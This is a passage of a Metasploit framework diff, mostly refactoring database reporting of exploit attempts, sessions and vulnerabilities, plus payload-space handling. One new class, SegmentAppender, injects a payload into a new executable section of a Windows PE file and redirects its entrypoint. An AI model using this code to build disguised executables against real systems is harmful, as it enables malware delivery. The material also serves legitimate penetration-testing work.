and svc.nil? - prot ||= "tcp" - svc = get_service(wspace, host, prot, port) if port + svc = get_service(wspace, host, prot, port) end - if not vuln - # Create a references map from the module list - ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref| - if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val) - "#{ref.ctx_id}-#{ref.ctx_val}" - else - ref.to_s - end - }) - - # Try find a matching vulnerability - vuln = find_vuln_by_refs(ref_objs, host, svc) - end - - # Report a vuln_attempt if we found a match - if vuln - attempt_info = { - :attempted_at => timestamp || Time.now.utc, - :exploited => false, - :fail_reason => freason, - :fail_detail => fdetail, - :username => username || "unknown", - :module => mname - } - - vuln.vuln_attempts.create(attempt_info) - end - - # Report an exploit attempt all the same - attempt_info = { - :attempted_at => timestamp || Time.now.utc, - :exploited => false, - :username => username || "unknown", - :module => mname, - :fail_reason => freason, - :fail_detail => fdetail - } - - attempt_info[:vuln_id] = vuln.id if vuln - - if svc - attempt_info[:port] = svc.port - attempt_info[:proto] = svc.proto - end - - if port and svc.nil? - attempt_info[:port] = port - attempt_info[:proto] = prot || "tcp" - end - - host.exploit_attempts.create(attempt_info) - } - end - - def report_exploit_success(opts) - ::ActiveRecord::Base.connection_pool.with_connection { - - wspace = opts.delete(:workspace) || workspace - mrefs = opts.delete(:refs) || return - host = opts.delete(:host) - port = opts.delete(:port) - prot = opts.delete(:proto) - svc = opts.delete(:service) - vuln = opts.delete(:vuln) - - timestamp = opts.delete(:timestamp) - username = opts.delete(:username) - mname = opts.delete(:module) - - # Look up or generate the host as appropriate - if not (host and host.kind_of? ::Mdm::Host) + # Look up the host as appropriate + if !host || !host.kind_of?(::Mdm::Host) if svc.kind_of? ::Mdm::Service host = svc.host else - host = report_host(:workspace => wspace, :address => host ) + host = get_host(workspace: wspace, address: host) end end # Bail if we dont have a host object return if not host + opts = opts.dup + opts[:service] = svc + opts[:host] = host + + do_report_failure_or_success(opts) + end + + # Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if + # the `vuln` option is passed). + # + # @return (see #do_report_failure_or_success) + def report_exploit_success(opts) + return unless opts[:refs] + host = opts[:host] || return + + wspace = opts[:workspace] || workspace + port = opts[:port] + prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO + svc = opts[:service] + # Look up or generate the service as appropriate if port and svc.nil? - svc = report_service(:workspace => wspace, :host => host, :port => port, :proto => prot ) if port + # it is rude to modify arguments in place + opts = opts.dup + opts[:proto] ||= Msf::DBManager::DEFAULT_SERVICE_PROTO + opts[:service] = report_service( + workspace: wspace, host: host, port: port, proto: prot + ) end - if not vuln - # Create a references map from the module list - ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref| - if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val) - "#{ref.ctx_id}-#{ref.ctx_val}" - else - ref.to_s - end - }) + do_report_failure_or_success(opts) + end - # Try find a matching vulnerability - vuln = find_vuln_by_refs(ref_objs, host, svc) - end + private + + # @option opts [Array<String>, Array<Msf::Module::Reference>] :refs + # @option opts [Mdm::Host] :host + # @option opts [Mdm::Service] :service + # @option opts [Integer] :port (nil) + # @option opts ["tcp","udp"] :proto (Msf::DBManager::DEFAULT_SERVICE_PROTO) See `Mdm::Service::PROTOS` + # @option opts [Mdm::Vuln] :vuln (nil) + # @option opts [Time] :timestamp (nil) + # @option opts [Mdm::Vuln] :timestamp (nil) + # @option opts [String] :module (nil) + # @return [void] + def do_report_failure_or_success(opts) + return unless opts[:refs] + ::ActiveRecord::Base.connection_pool.with_connection { + mrefs = opts[:refs] + host = opts[:host] + port = opts[:port] + prot = opts[:proto] + svc = opts[:service] + vuln = opts[:vuln] + + timestamp = opts[:timestamp] + freason = opts[:fail_reason] + fdetail = opts[:fail_detail] + username = opts[:username] + mname = opts[:module] + + if vuln.nil? + ref_names = mrefs.map { |ref| + if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val) + "#{ref.ctx_id}-#{ref.ctx_val}" + else + ref.to_s + end + } + + # Create a references map from the module list + ref_objs = ::Mdm::Ref.where(name: ref_names) + + # Try find a matching vulnerability + vuln = find_vuln_by_refs(ref_objs, host, svc) + end - # We have match, lets create a vuln_attempt record - if vuln attempt_info = { - :vuln_id => vuln.id, :attempted_at => timestamp || Time.now.utc, - :exploited => true, + :exploited => (freason.nil? ? true : false), + :fail_detail => fdetail, + :fail_reason => freason, + :module => mname, :username => username || "unknown", - :module => mname } attempt_info[:session_id] = opts[:session_id] if opts[:session_id] attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] - vuln.vuln_attempts.create(attempt_info) + # We have match, lets create a vuln_attempt record + if vuln + attempt_info[:vuln_id] = vuln.id + vuln.vuln_attempts.create(attempt_info) - # Correct the vuln's associated service if necessary - if svc and vuln.service_id.nil? - vuln.service = svc - vuln.save + # Correct the vuln's associated service if necessary + if svc and vuln.service_id.nil? + vuln.service = svc + vuln.save + end end - end - # Report an exploit attempt all the same - attempt_info = { - :attempted_at => timestamp || Time.now.utc, - :exploited => true, - :username => username || "unknown", - :module => mname + # Report an exploit attempt all the same + + if svc + attempt_info[:port] = svc.port + attempt_info[:proto] = svc.proto + end + + if port and svc.nil? + attempt_info[:port] = port + attempt_info[:proto] = prot || Msf::DBManager::DEFAULT_SERVICE_PROTO + end + + host.exploit_attempts.create(attempt_info) } - attempt_info[:vuln_id] = vuln.id if vuln - attempt_info[:session_id] = opts[:session_id] if opts[:session_id] - attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] - - if svc - attempt_info[:port] = svc.port - attempt_info[:proto] = svc.proto - end - - if port and svc.nil? - attempt_info[:port] = port - attempt_info[:proto] = prot || "tcp" - end - - host.exploit_attempts.create(attempt_info) - } end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb index b4ff90063f..ad9af6b3ab 100644 --- a/lib/msf/core/db_manager/host.rb +++ b/lib/msf/core/db_manager/host.rb @@ -73,7 +73,7 @@ module Msf::DBManager::Host # address # def normalize_host(host) - return host if host.kind_of? ::Mdm::Host + return host if defined?(::Mdm) and host.kind_of? ::Mdm::Host norm_host = nil if (host.kind_of? String) @@ -92,12 +92,11 @@ module Msf::DBManager::Host else norm_host = Rex::Socket.getaddress(host, true) end - elsif host.kind_of? ::Mdm::Session + elsif defined?(::Mdm) and host.kind_of? ::Mdm::Session norm_host = host.host elsif host.respond_to?(:session_host) # Then it's an Msf::Session object - thost = host.session_host - norm_host = thost + norm_host = host.session_host end # If we got here and don't have a norm_host yet, it could be a @@ -166,9 +165,9 @@ module Msf::DBManager::Host end if opts[:comm] and opts[:comm].length > 0 - host = wspace.hosts.find_or_initialize_by_address_and_comm(addr, opts[:comm]) + host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize else - host = wspace.hosts.find_or_initialize_by_address(addr) + host = wspace.hosts.where(address: addr).first_or_initialize end else host = addr @@ -257,9 +256,9 @@ module Msf::DBManager::Host end if opts[:comm] and opts[:comm].length > 0 - host = wspace.hosts.find_or_initialize_by_address_and_comm(addr, opts[:comm]) + host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize else - host = wspace.hosts.find_or_initialize_by_address(addr) + host = wspace.hosts.where(address: addr).first_or_initialize end else host = addr @@ -325,4 +324,4 @@ module Msf::DBManager::Host host } end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/import.rb b/lib/msf/core/db_manager/import.rb index 0a03a656a9..0450cafe71 100644 --- a/lib/msf/core/db_manager/import.rb +++ b/lib/msf/core/db_manager/import.rb @@ -119,7 +119,7 @@ module Msf::DBManager::Import # Msf::DBManager::Import::MetasploitFramework::Zip becomes resolvable as Zip here, so need to use ::Zip so Zip # is resolved as one from rubyzip gem. data = ::Zip::File.open(filename) - when "\xd4\xc3\xb2\xa1", "\xa1\xb2\xc3\xd4" + when "\xd4\xc3\xb2\xa1".force_encoding('ASCII-8BIT'), "\xa1\xb2\xc3\xd4".force_encoding('ASCII-8BIT') data = PacketFu::PcapFile.new(:filename => filename) else ::File.open(filename, 'rb') do |f| diff --git a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb index b94e564dc4..6a5ac28cd0 100644 --- a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb +++ b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb @@ -64,6 +64,30 @@ module Msf::DBManager::Import::MetasploitFramework::XML import_msf_xml(args.merge(:data => data)) end + # Imports `Mdm::Note` objects from the XML element. + # + # @param note [REXML::Element] The Note element + # @param allow_yaml [Boolean] whether to allow yaml + # @param note_data [Hash] hash containing note attributes to be passed along + # @return [void] + def import_msf_note_element(note, allow_yaml, note_data={}) + note_data[:type] = nils_for_nulls(note.elements["ntype"].text.to_s.strip) + note_data[:data] = nils_for_nulls(unserialize_object(note.elements["data"], allow_yaml)) + + if note.elements["critical"].text + note_data[:critical] = true unless note.elements["critical"].text.to_s.strip == "NULL" + end + if note.elements["seen"].text + note_data[:seen] = true unless note.elements["critical"].text.to_s.strip == "NULL" + end + %W{created-at updated-at}.each { |datum| + if note.elements[datum].text + note_data[datum.gsub("-","_")] = nils_for_nulls(note.elements[datum].text.to_s.strip) + end + } + report_note(note_data) + end + # Imports web_form element using {Msf::DBManager#report_web_form}. # # @param element [REXML::Element] web_form element. @@ -280,21 +304,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML note_data = {} note_data[:workspace] = wspace note_data[:host] = hobj - note_data[:type] = nils_for_nulls(note.elements["ntype"].text.to_s.strip) - note_data[:data] = nils_for_nulls(unserialize_object(note.elements["data"], allow_yaml)) - - if note.elements["critical"].text - note_data[:critical] = true unless note.elements["critical"].text.to_s.strip == "NULL" - end - if note.elements["seen"].text - note_data[:seen] = true unless note.elements["critical"].text.to_s.strip == "NULL" - end - %W{created-at updated-at}.each { |datum| - if note.elements[datum].text - note_data[datum.gsub("-","_")] = nils_for_nulls(note.elements[datum].text.to_s.strip) - end - } - report_note(note_data) + import_msf_note_element(note,allow_yaml,note_data) end host.elements.each('tags/tag') do |tag| @@ -335,6 +345,13 @@ module Msf::DBManager::Import::MetasploitFramework::XML vobj = report_vuln(vuln_data) + vuln.elements.each("notes/note") do |note| + note_data = {} + note_data[:workspace] = wspace + note_data[:vuln_id] = vobj.id + import_msf_note_element(note,allow_yaml,note_data) + end + vuln.elements.each("vuln_details/vuln_detail") do |vdet| vdet_data = {} vdet.elements.each do |det| diff --git a/lib/msf/core/db_manager/ip_address.rb b/lib/msf/core/db_manager/ip_address.rb index b69dd69bfe..dcff05b2e2 100644 --- a/lib/msf/core/db_manager/ip_address.rb +++ b/lib/msf/core/db_manager/ip_address.rb @@ -13,18 +13,18 @@ module Msf::DBManager::IPAddress end def rfc3330_reserved(ip) - case ip.class.to_s - when "PacketFu::Octets" + case ip + when PacketFu::Octets ip_x = ip.to_x ip_i = ip.to_i - when "String" + when String if ipv46_validator(ip) ip_x = ip ip_i = Rex::Socket.addr_atoi(ip) else raise ArgumentError, "Invalid IP address: #{ip.inspect}" end - when "Fixnum" + when Fixnum if (0..2**32-1).include? ip ip_x = Rex::Socket.addr_itoa(ip) ip_i = ip @@ -58,4 +58,4 @@ module Msf::DBManager::IPAddress end return ret end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/note.rb b/lib/msf/core/db_manager/note.rb index 478dcc38c4..9840dd0937 100644 --- a/lib/msf/core/db_manager/note.rb +++ b/lib/msf/core/db_manager/note.rb @@ -124,6 +124,7 @@ module Msf::DBManager::Note conditions = { :ntype => ntype } conditions[:host_id] = host[:id] if host conditions[:service_id] = service[:id] if service + conditions[:vuln_id] = opts[:vuln_id] case mode when :unique @@ -162,6 +163,9 @@ module Msf::DBManager::Note note.ntype = ntype note.data = data end + if opts[:vuln_id] + note.vuln_id = opts[:vuln_id] + end msf_import_timestamps(opts,note) note.save! ret[:note] = note diff --git a/lib/msf/core/db_manager/ref.rb b/lib/msf/core/db_manager/ref.rb index 83613334ab..ff6087d086 100644 --- a/lib/msf/core/db_manager/ref.rb +++ b/lib/msf/core/db_manager/ref.rb @@ -8,7 +8,7 @@ module Msf::DBManager::Ref return ret[:ref] if ret[:ref] ::ActiveRecord::Base.connection_pool.with_connection { - ref = ::Mdm::Ref.find_or_initialize_by_name(opts[:name]) + ref = ::Mdm::Ref.where(name: opts[:name]).first_or_initialize if ref and ref.changed? ref.save! end diff --git a/lib/msf/core/db_manager/service.rb b/lib/msf/core/db_manager/service.rb index 4640da2171..a46b63afb9 100644 --- a/lib/msf/core/db_manager/service.rb +++ b/lib/msf/core/db_manager/service.rb @@ -85,9 +85,9 @@ module Msf::DBManager::Service end =end - proto = opts[:proto] || 'tcp' + proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO - service = host.services.find_or_initialize_by_port_and_proto(opts[:port].to_i, proto) + service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize opts.each { |k,v| if (service.attribute_names.include?(k.to_s)) service[k] = ((v and k == :name) ? v.to_s.downcase : v) @@ -126,4 +126,4 @@ module Msf::DBManager::Service wspace.services.includes(:host).where(conditions).order("hosts.address, port") } end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 56b4a0a436..811728d892 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -74,101 +74,66 @@ module Msf::DBManager::Session # @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be # saved. # - # @raise ArgumentError if :host and :session is +nil+ + # @raise ArgumentError if :host and :session are both +nil+ def report_session(opts) return if not active + ::ActiveRecord::Base.connection_pool.with_connection { if opts[:session] - raise ArgumentError.new("Invalid :session, expected Msf::Session") unless opts[:session].kind_of? Msf::Session session = opts[:session] - wspace = opts[:workspace] || find_workspace(session.workspace) - h_opts = { } - h_opts[:host] = normalize_host(session) - h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch - h_opts[:workspace] = wspace - host = find_or_create_host(h_opts) - sess_data = { - :host_id => host.id, - :stype => session.type, - :desc => session.info, - :platform => session.platform, - :via_payload => session.via_payload, - :via_exploit => session.via_exploit, - :routes => [], - :datastore => session.exploit_datastore.to_h, - :port => session.session_port, - :opened_at => Time.now.utc, - :last_seen => Time.now.utc, - :local_id => session.sid - } + s = create_mdm_session_from_session(opts) + session.db_record = s elsif opts[:host] - raise ArgumentError.new("Invalid :host, expected Host object") unless opts[:host].kind_of? ::Mdm::Host - host = opts[:host] - sess_data = { - :host_id => host.id, - :stype => opts[:stype], - :desc => opts[:desc], - :platform => opts[:platform], - :via_payload => opts[:via_payload], - :via_exploit => opts[:via_exploit], - :routes => opts[:routes] || [], - :datastore => opts[:datastore], - :opened_at => opts[:opened_at], - :closed_at => opts[:closed_at], - :last_seen => opts[:last_seen] || opts[:closed_at], - :close_reason => opts[:close_reason], - } + s = create_mdm_session_from_host(opts) else raise ArgumentError.new("Missing option :session or :host") end - ret = {} - # Truncate the session data if necessary - if sess_data[:desc] - sess_data[:desc] = sess_data[:desc][0,255] - end + wspace = s.workspace - # In the case of multi handler we cannot yet determine the true - # exploit responsible. But we can at least show the parent versus - # just the generic handler: - if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] - sess_data[:via_exploit] = sess_data[:datastore]['ParentModule'] - end - - s = ::Mdm::Session.new(sess_data) - s.save! - - if session and session.exploit_task and session.exploit_task.record - session_task = session.exploit_task.record - if session_task.class == Mdm::Task - Mdm::TaskSession.create(:task => session_task, :session => s ) + if session + if session.exploit.user_data_is_match? + MetasploitDataModels::AutomaticExploitation::MatchResult.create!( + match: session.exploit.user_data[:match], + match_set: session.exploit.user_data[:match_set], + run: session.exploit.user_data[:run], + state: 'succeeded', + ) + elsif session.via_exploit + # This is a live session, we know the host is vulnerable to something. + infer_vuln_from_session(session, wspace) end end + s + } + end - if opts[:session] - session.db_record = s - end + protected - # If this is a live session, we know the host is vulnerable to something. - if opts[:session] and session.via_exploit - mod = framework.modules.create(session.via_exploit) + # @param session [Msf::Session] A session with a {db_record Msf::Session#db_record} + # @param wspace [Mdm::Workspace] + # @return [void] + def infer_vuln_from_session(session, wspace) + ::ActiveRecord::Base.connection_pool.with_connection { + s = session.db_record + host = s.host - if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] - mod_fullname = sess_data[:datastore]['ParentModule'] - mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name + if session.via_exploit == "exploit/multi/handler" and session.exploit_datastore['ParentModule'] + mod_fullname = session.exploit_datastore['ParentModule'] else - mod_name = mod.name - mod_fullname = mod.fullname + mod_fullname = session.via_exploit end + mod_detail = ::Mdm::Module::Detail.find_by_fullname(mod_fullname) + mod_name = mod_detail.name vuln_info = { - :host => host.address, - :name => mod_name, - :refs => mod.references, - :workspace => wspace, - :exploited_at => Time.now.utc, - :info => "Exploited by #{mod_fullname} to create Session #{s.id}" + exploited_at: Time.now.utc, + host: host, + info: "Exploited by #{mod_fullname} to create Session #{s.id}", + name: mod_name, + refs: mod_detail.refs.map(&:name), + workspace: wspace, } port = session.exploit_datastore["RPORT"] @@ -178,28 +143,105 @@ module Msf::DBManager::Session vuln = framework.db.report_vuln(vuln_info) - if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] - via_exploit = sess_data[:datastore]['ParentModule'] - else - via_exploit = session.via_exploit - end attempt_info = { - :timestamp => Time.now.utc, - :workspace => wspace, - :module => via_exploit, - :username => session.username, - :refs => mod.references, - :session_id => s.id, - :host => host, - :service => service, - :vuln => vuln + host: host, + module: mod_fullname, + refs: mod_detail.refs, + service: service, + session_id: s.id, + timestamp: Time.now.utc, + username: session.username, + vuln: vuln, + workspace: wspace, } framework.db.report_exploit_success(attempt_info) - end - - s - } + vuln + } end -end \ No newline at end of file + + def create_mdm_session_from_session(opts) + ::ActiveRecord::Base.connection_pool.with_connection { + session = opts[:session] + raise ArgumentError.new("Invalid :session, expected Msf::Session") unless session.kind_of? Msf::Session + + wspace = opts[:workspace] || find_workspace(session.workspace) + h_opts = { } + h_opts[:host] = normalize_host(session) + h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch + h_opts[:workspace] = wspace + host = find_or_create_host(h_opts) + sess_data = { + datastore: session.exploit_datastore.to_h, + desc: truncate_session_desc(session.info), + host_id: host.id, + last_seen: Time.now.utc, + local_id: session.sid, + opened_at: Time.now.utc, + platform: session.platform, + port: session.session_port, + routes: [], + stype: session.type, + via_exploit: session.via_exploit, + via_payload: session.via_payload, + } + + # In the case of multi handler we cannot yet determine the true + # exploit responsible. But we can at least show the parent versus + # just the generic handler: + if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] + sess_data[:via_exploit] = sess_data[:datastore]['ParentModule'] + end + + s = ::Mdm::Session.create!(sess_data) + + if session.exploit_task and session.exploit_task.record + session_task = session.exploit_task.record + if session_task.class == Mdm::Task + Mdm::TaskSession.create(task: session_task, session: s ) + end + end + + s + } + end + + def create_mdm_session_from_host(opts) + ::ActiveRecord::Base.connection_pool.with_connection { + host = opts[:host] + raise ArgumentError.new("Invalid :host, expected Host object") unless host.kind_of? ::Mdm::Host + sess_data = { + host_id: host.id, + stype: opts[:stype], + desc: truncate_session_desc(opts[:desc]), + platform: opts[:platform], + via_payload: opts[:via_payload], + via_exploit: opts[:via_exploit], + routes: opts[:routes] || [], + datastore: opts[:datastore], + opened_at: opts[:opened_at], + closed_at: opts[:closed_at], + last_seen: opts[:last_seen] || opts[:closed_at], + close_reason: opts[:close_reason], + } + + + s = ::Mdm::Session.create!(sess_data) + s + } + end + + # Truncate the session data if necessary + # + # @param desc [String] + # @return [String] +desc+ truncated to the max length of the desc column + def truncate_session_desc(desc) + # Truncate the session data if necessary + if desc + desc = desc[0, ::Mdm::Session.columns_hash['desc'].limit] + end + desc + end + +end diff --git a/lib/msf/core/db_manager/vuln.rb b/lib/msf/core/db_manager/vuln.rb index 1bb38e9232..24ad02bbc0 100644 --- a/lib/msf/core/db_manager/vuln.rb +++ b/lib/msf/core/db_manager/vuln.rb @@ -31,7 +31,7 @@ module Msf::DBManager::Vuln vuln = nil if service - vuln = service.vulns.find(:first, :include => [:vuln_details], :conditions => crit) + vuln = service.vulns.includes(:vuln_details).where(crit).first end # Return if we matched based on service @@ -39,35 +39,14 @@ module Msf::DBManager::Vuln # Prevent matches against other services crit["vulns.service_id"] = nil if service - vuln = host.vulns.find(:first, :include => [:vuln_details], :conditions => crit) + vuln = host.vulns.includes(:vuln_details).where(crit).first return vuln end def find_vuln_by_refs(refs, host, service=nil) - - vuln = nil - - # Try to find an existing vulnerability with the same service & references - # If there are multiple matches, choose the one with the most matches - if service - refs_ids = refs.map{|x| x.id } - vuln = service.vulns.find(:all, :include => [:refs], :conditions => { 'refs.id' => refs_ids }).sort { |a,b| - ( refs_ids - a.refs.map{|x| x.id } ).length <=> ( refs_ids - b.refs.map{|x| x.id } ).length - }.first - end - - # Return if we matched based on service - return vuln if vuln - - # Try to find an existing vulnerability with the same host & references - # If there are multiple matches, choose the one with the most matches - refs_ids = refs.map{|x| x.id } - vuln = host.vulns.find(:all, :include => [:refs], :conditions => { 'service_id' => nil, 'refs.id' => refs_ids }).sort { |a,b| - ( refs_ids - a.refs.map{|x| x.id } ).length <=> ( refs_ids - b.refs.map{|x| x.id } ).length - }.first - - return vuln + ref_ids = refs.find_all { |ref| ref.name.starts_with? 'CVE-'} + host.vulns.joins(:refs).where(service_id: service.try(:id), refs: { id: ref_ids}).first end def get_vuln(wspace, host, service, name, data='') @@ -168,7 +147,7 @@ module Msf::DBManager::Vuln sname = opts[:proto] end - service = host.services.find_or_create_by_port_and_proto(opts[:port].to_i, proto) + service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_create end # Try to find an existing vulnerability with the same service & references diff --git a/lib/msf/core/db_manager/web.rb b/lib/msf/core/db_manager/web.rb index eeec3bc132..414846be95 100644 --- a/lib/msf/core/db_manager/web.rb +++ b/lib/msf/core/db_manager/web.rb @@ -55,7 +55,7 @@ module Msf::DBManager::Web # comparisons through ruby and not SQL. form = nil - ::Mdm::WebForm.find_all_by_web_site_id_and_path_and_method_and_query(site[:id], path, meth, quer).each do |xform| + ::Mdm::WebForm.where(web_site_id: site[:id], path: path, method: meth, query: quer).each do |xform| if xform.params == para form = xform break @@ -135,7 +135,7 @@ module Msf::DBManager::Web ret = {} - page = ::Mdm::WebPage.find_or_initialize_by_web_site_id_and_path_and_query(site[:id], path, query) + page = ::Mdm::WebPage.where(web_site_id: site[:id], path: path, query: query).first_or_initialize page.code = code page.body = body page.headers = headers @@ -243,7 +243,7 @@ module Msf::DBManager::Web =end vhost ||= host.address - site = ::Mdm::WebSite.find_or_initialize_by_vhost_and_service_id(vhost, serv[:id]) + site = ::Mdm::WebSite.where(vhost: vhost, service_id: serv[:id]).first_or_initialize site.options = opts[:options] if opts[:options] # XXX: @@ -342,7 +342,7 @@ module Msf::DBManager::Web meth = meth.to_s.upcase - vuln = ::Mdm::WebVuln.find_or_initialize_by_web_site_id_and_path_and_method_and_pname_and_name_and_category_and_query(site[:id], path, meth, pname, name, cat, quer) + vuln = ::Mdm::WebVuln.where(web_site_id: site[:id], path: path, method: meth, pname: pname, name: name, category: cat, query: quer).first_or_initialize vuln.name = name vuln.risk = risk vuln.params = para diff --git a/lib/msf/core/db_manager/wmap.rb b/lib/msf/core/db_manager/wmap.rb index 79620e6675..37ea91a260 100644 --- a/lib/msf/core/db_manager/wmap.rb +++ b/lib/msf/core/db_manager/wmap.rb @@ -128,7 +128,7 @@ module Msf::DBManager::WMAP # This methods returns a list of all targets in the database def requests ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::WmapRequest.find(:all) + ::Mdm::WmapRequest.all } end @@ -183,7 +183,7 @@ module Msf::DBManager::WMAP # This methods returns a list of all targets in the database def targets ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::WmapTarget.find(:all) + ::Mdm::WmapTarget.all } end end \ No newline at end of file diff --git a/lib/msf/core/db_manager/workspace.rb b/lib/msf/core/db_manager/workspace.rb index 65db179809..6bc4d3c9fe 100644 --- a/lib/msf/core/db_manager/workspace.rb +++ b/lib/msf/core/db_manager/workspace.rb @@ -4,7 +4,7 @@ module Msf::DBManager::Workspace # def add_workspace(name) ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::Workspace.find_or_create_by_name(name) + ::Mdm::Workspace.where(name: name).first_or_create } end @@ -30,7 +30,7 @@ module Msf::DBManager::Workspace def workspaces ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::Workspace.find(:all) + ::Mdm::Workspace.order('updated_at asc').all } end end diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index ee2775ed82..b79a99e692 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -34,6 +34,7 @@ class EncodedPayload self.framework = framework self.pinst = pinst self.reqs = reqs + self.space = reqs['Space'] end # @@ -62,6 +63,9 @@ class EncodedPayload # First, validate pinst.validate() + # Tell the payload how much space is available + pinst.available_space = self.space + # Generate the raw version of the payload first generate_raw() if self.raw.nil? @@ -107,7 +111,7 @@ class EncodedPayload # # @return [String] The raw, unencoded payload. def generate_raw - self.raw = (reqs['Prepend'] || '') + pinst.generate + (reqs['Append'] || '') + self.raw = (reqs['Prepend'] || '') + pinst.generate_complete + (reqs['Append'] || '') # If an encapsulation routine was supplied, then we should call it so # that we can get the real raw payload. @@ -123,7 +127,7 @@ class EncodedPayload def encode # If the exploit has bad characters, we need to run the list of encoders # in ranked precedence and try to encode without them. - if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode'] + if reqs['BadChars'].to_s.length > 0 or reqs['Encoder'] or reqs['ForceEncode'] encoders = pinst.compatible_encoders # Make sure the encoder name from the user has the same String#encoding @@ -208,6 +212,9 @@ class EncodedPayload next end + # Tell the encoder how much space is available + self.encoder.available_space = self.space + eout = self.raw.dup next_encoder = false @@ -473,7 +480,10 @@ class EncodedPayload # The number of encoding iterations used # attr_reader :iterations - + # + # The maximum number of bytes acceptable for the encoded payload + # + attr_reader :space protected attr_writer :raw # :nodoc: @@ -484,6 +494,7 @@ protected attr_writer :encoder # :nodoc: attr_writer :nop # :nodoc: attr_writer :iterations # :nodoc: + attr_writer :space # :nodoc # # The payload instance used to generate the payload diff --git a/lib/msf/core/encoder.rb b/lib/msf/core/encoder.rb index 070b25490c..eea5de9c0c 100644 --- a/lib/msf/core/encoder.rb +++ b/lib/msf/core/encoder.rb @@ -434,6 +434,12 @@ class Encoder < Module false end + # + # The amount of space available to the encoder, which may be nil, + # indicating that the smallest possible encoding should be used. + # + attr_accessor :available_space + protected # diff --git a/lib/msf/core/exe/segment_appender.rb b/lib/msf/core/exe/segment_appender.rb new file mode 100644 index 0000000000..e0cb4a280b --- /dev/null +++ b/lib/msf/core/exe/segment_appender.rb @@ -0,0 +1,51 @@ +# -*- coding: binary -*- +module Msf +module Exe + + require 'metasm' + require 'msf/core/exe/segment_injector' + + class SegmentAppender < SegmentInjector + + def payload_stub(prefix) + # TODO: Implement possibly helpful payload obfuscation + asm = "new_entrypoint:\n#{prefix}\n" + shellcode = Metasm::Shellcode.assemble(processor, asm) + shellcode.encoded + @payload + end + + def generate_pe + # Copy our Template into a new PE + pe_orig = Metasm::PE.decode_file(template) + pe = pe_orig.mini_copy + + # Copy the headers and exports + pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4] + pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup + pe.header.time = pe_orig.header.time + + # Don't rebase if we can help it since Metasm doesn't do relocations well + pe.optheader.dll_characts.delete("DYNAMIC_BASE") + + # TODO: Look at supporting DLLs in the future + prefix = '' + + # Create a new section + s = Metasm::PE::Section.new + s.name = '.' + Rex::Text.rand_text_alpha_lower(4) + s.encoded = payload_stub prefix + s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE] + + pe.sections << s + pe.invalidate_header + + # Change the entrypoint to our new section + pe.optheader.entrypoint = 'new_entrypoint' + pe.cpu = pe_orig.cpu + + pe.encode_string + end + + end +end +end diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 418e2959b5..203785adf6 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -59,20 +59,11 @@ module Exe EOS end - def payload_as_asm - asm = '' - @payload.each_byte do |byte| - asm << "db " + sprintf("0x%02x", byte) + "\n" - end - return asm - end - def payload_stub(prefix) asm = "hook_entrypoint:\n#{prefix}\n" asm << create_thread_stub - asm << payload_as_asm shellcode = Metasm::Shellcode.assemble(processor, asm) - shellcode.encoded + shellcode.encoded + @payload end def generate_pe diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index 1f76773a49..0d494ec42a 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -42,7 +42,7 @@ module Msf [ true, 'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC', - 'www.metasploit.com']), + '8.8.8.8']), OptPort.new('GATEWAY_PROBE_PORT', [ false, @@ -143,7 +143,6 @@ module Msf return unless self.capture self.capture = nil self.arp_capture = nil - GC.start() end def capture_extract_ies(raw) @@ -163,26 +162,15 @@ module Msf end # - # This monstrosity works around a series of bugs in the interrupt - # signal handling of Ruby 1.9 + # Loop through each packet # def each_packet return unless capture - begin - @capture_count = 0 - reader = framework.threads.spawn("PcapReceiver", false) do - capture.each do |pkt| - 